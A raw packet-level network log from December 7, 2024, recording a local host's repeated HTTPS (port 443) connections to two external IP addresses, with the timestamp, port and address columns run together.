                                                                                                                                                                  Dec 7, 2024 15:43:34.962672949 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.124918938 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.124943972 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.125001907 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.125026941 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.125045061 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.125066996 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.130664110 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.130680084 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.130755901 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.130765915 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.130817890 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.135660887 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.135683060 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.135725021 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.135735035 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.135772943 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.141381979 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.141398907 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.141453981 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.141462088 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.141501904 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.147135019 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.147150993 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.147211075 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.147221088 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.147258043 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.152455091 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.152477026 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.152550936 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.152561903 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.152610064 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.158230066 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.158246994 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.158305883 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.158318996 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.158359051 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.163305998 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.163326979 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.163388014 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.163398027 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.163436890 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.317193985 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.317226887 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.317290068 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.317313910 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.317938089 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.323318958 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.323340893 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.323427916 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.323438883 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.323482037 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.327970982 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.327987909 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.328067064 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.328075886 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.328113079 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.329595089 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.329654932 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:35.329665899 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.329726934 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:35.330842972 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:44:23.565721035 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:23.565747976 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:23.565854073 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:23.574692011 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:23.574703932 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:24.793716908 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:24.793832064 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:24.795439959 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:24.795448065 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:24.795644999 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:24.850033998 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:24.895139933 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:24.895168066 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:24.895195007 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663512945 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663698912 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663799047 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.663819075 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663852930 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663882971 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663923979 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.663932085 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.663978100 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.672070980 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.680710077 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.680775881 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.680783033 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.725087881 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.725094080 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.771939039 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.785761118 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.789951086 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.790004969 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.790014029 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.834423065 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.855849028 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.866256952 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.866282940 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.866314888 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.866322041 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.866363049 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.866368055 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.874413967 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.874490976 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.874495983 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.882607937 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.882680893 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.882690907 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.890711069 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.890788078 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.890793085 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.898839951 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.898894072 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.898900032 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.907048941 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.907130957 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.907135963 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.914977074 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.915050983 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.915056944 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.931126118 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.931245089 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.931250095 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.975064993 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.975071907 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.981600046 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:25.981669903 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:25.981676102 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.021950006 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.047842979 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.052263975 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.052340984 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.052365065 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.052396059 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.052403927 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.052423954 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.065135002 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.065200090 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.065207005 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.065254927 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.071284056 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.071333885 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.075814009 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.075822115 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.075884104 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.080533028 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.080591917 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.080596924 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.080607891 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.080640078 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.080686092 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.093796015 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.093802929 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.093826056 CET49769443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.093831062 CET44349769104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.457693100 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.457709074 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:26.457762003 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.458105087 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:26.458117962 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:27.686000109 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:27.686074972 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:27.691967964 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:27.691982031 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:27.692167044 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:27.693031073 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:27.693092108 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:27.693116903 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.322487116 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.322557926 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.322628975 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.324795008 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.324809074 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.324834108 CET49777443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.324841022 CET44349777104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.401566982 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.401587963 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:28.401674032 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.401959896 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:28.401968956 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:29.616345882 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:29.616456032 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:29.664304018 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:29.664324999 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:29.664587975 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:29.665518045 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:29.665555954 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:29.665560007 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:30.269855976 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:30.269901037 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:30.270128965 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:30.270272017 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:30.270282984 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:30.270294905 CET49782443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:30.270299911 CET44349782104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:32.679657936 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:32.679687977 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:32.679804087 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:32.680068016 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:32.680082083 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.892494917 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.892565966 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.894711971 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.894731045 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.894933939 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.896296024 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.896538019 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.896569967 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.896766901 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.896805048 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.896892071 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.896917105 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:33.897025108 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:33.897042990 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.048461914 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.048508883 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.048577070 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.048739910 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.048758984 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.048778057 CET49793443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.048784971 CET44349793104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.081454039 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.081497908 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:35.081584930 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.081887007 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:35.081902981 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.297662020 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.297741890 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.299541950 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.299555063 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.299757957 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.300735950 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.300765038 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.300771952 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.904577971 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.904623032 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.904670000 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.904757977 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.904781103 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:36.904794931 CET49799443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:36.904800892 CET44349799104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:37.136368036 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:37.136387110 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:37.136468887 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:37.137109041 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:37.137119055 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.353852987 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.353923082 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.355134010 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.355138063 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.355341911 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.357687950 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.357733965 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.357738018 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.964999914 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.965042114 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.965106964 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.965224981 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.965230942 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.965260983 CET49805443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.965265036 CET44349805104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.987791061 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.987828016 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:38.987914085 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.988245964 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:38.988260984 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.210261106 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.210359097 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.211957932 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.211976051 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.212179899 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.213027000 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.213061094 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.213066101 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.853962898 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.854015112 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.854105949 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.854213953 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.854235888 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.854245901 CET49810443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.854252100 CET44349810104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.910051107 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.910101891 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:43.910270929 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.910619974 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:43.910639048 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.130240917 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.130316019 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.132246017 CET49822443192.168.2.4104.21.72.125
                                                                                                                                                                  Dec 7, 2024 15:44:45.132265091 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.132474899 CET44349822104.21.72.125192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:44:45.133260965 CET49822443192.168.2.4104.21.72.125
